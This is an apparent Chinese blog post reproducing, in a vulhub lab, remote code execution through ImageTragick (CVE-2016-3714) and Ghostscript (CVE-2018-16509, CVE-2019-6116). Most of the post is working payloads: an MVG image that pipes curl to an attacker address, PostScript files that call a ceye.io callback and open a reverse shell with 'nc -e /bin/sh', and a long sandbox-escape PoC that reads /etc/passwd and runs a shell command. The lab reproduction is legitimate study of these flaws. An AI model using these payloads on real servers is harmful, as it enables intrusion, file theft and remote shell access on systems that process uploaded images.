zoukankan      html  css  js  c++  java
  • Imagetragick RCE(CVE-2016–3714)复现

    CVE-2016–3714:

    闲着没事突然想起这个洞来,借用vulhub复现一下

    poc有很多:https://github.com/ImageTragick/PoCs

    我用的

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.1/oops.jpg"|curl "ip:port/image)'
    pop graphic-context

    图片上传后,vps查看日志

    CVE-2018-16509

    ghostscript 影响的版本 <= 9.23(全版本、全平台)

    poc.jpg

    poc:

    %!PS
    userdict /setpagedevice undef
    save
    legal
    { null restore } stopped { pop } if
    { legal } stopped { pop } if
    restore
    mark /OutputFile (%pipe%curl http://XXX.ceye.io) currentdevice putdeviceprops

    poc :反弹shell

    %!PS
    userdict /setpagedevice undef
    save
    legal
    { null restore } stopped { pop } if
    { legal } stopped { pop } if
    restore
    mark /OutputFile (%pipe%$(nc -e /bin/sh X.X.X.X 8080)) currentdevice putd
    eviceprops

    CVE-2019-6116

    POC:

    %!PS
    % extract .actual_pdfpaintproc operator from pdfdict
    /.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

    /exploit {
        (Stage 11: Exploitation...)=

        /forceput exch def

        systemdict /SAFER false forceput
        userparams /LockFilePermissions false forceput
        systemdict /userparams get /PermitFileControl [(*)] forceput
        systemdict /userparams get /PermitFileWriting [(*)] forceput
        systemdict /userparams get /PermitFileReading [(*)] forceput

        % update
        save restore

        % All done.
        stop
    } def

    errordict /typecheck {
        /typecount typecount 1 add def
        (Stage 10: /typecheck #)=only typecount ==

        % The first error will be the .knownget, which we handle and setup the
        % stack. The second error will be the ifelse (missing boolean), and then we
        % dump the operands.
        typecount 1 eq { null } if
        typecount 2 eq { pop 7 get exploit } if
        typecount 3 eq { (unexpected)= quit }  if
    } put

    % The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
    % executable errays onto the operand stack that contain .forceput, but are not
    % marked as executeonly or pseudo-operators.
    %
    % The routine was attempting to pass them to ifelse, but we can cause that to
    % fail because when the routine was declared, it used `bind` but many of the
    % names it uses are not operators and so are just looked up in the dictstack.
    %
    % This means we can push a dict onto the dictstack and control how the routine
    % works.
    <<
        /typecount      0
        /PDFfile        { (Stage 0: PDFfile)= currentfile }
        /q              { (Stage 1: q)= } % no-op
        /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
        /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
        /gput           { (Stage 5: gput)= }  % no-op
        /resolvestream  { (Stage 6: resolvestream)= } % no-op
        /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
        /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
        /pdfdict        { (Stage 9: pdfdict)=
            % cause a /typecheck error we handle above
            true
        }
    >> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

    (Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

    % Demonstrate reading a file we shouldnt have access to.
    (/etc/passwd) (r) file dup 64 string readline pop == closefile

    (Attempting to execute a shell command...)= flush

    % run command
    (%pipe%curl http://XXX.ceye.io)

    (All done.)=

    quit

  • 相关阅读:
    [算法导论]红黑树实现(插入和删除) @ Python
    [算法导论]二叉查找树的实现 @ Python
    [leetcode] Min Stack @ Python
    [leetcode]Find Minimum in Rotated Sorted Array II @ Python
    [leetcode]Find Minimum in Rotated Sorted Array @ Python
    [leetcode]Maximum Product Subarray @ Python
    业余办一个【编程语言+数据结构+算法】培训班怎么样?
    [算法导论]merge sort @ Python
    聚合页是什么?网站聚合页如何做?网站聚合页SEO完全实践指南
    SEO实验:相关性的搜索结果静态页面是否也会在百度劲风算法的处理之中?
  • 原文地址:https://www.cnblogs.com/jinqi520/p/11814031.html
Copyright © 2011-2022 走看看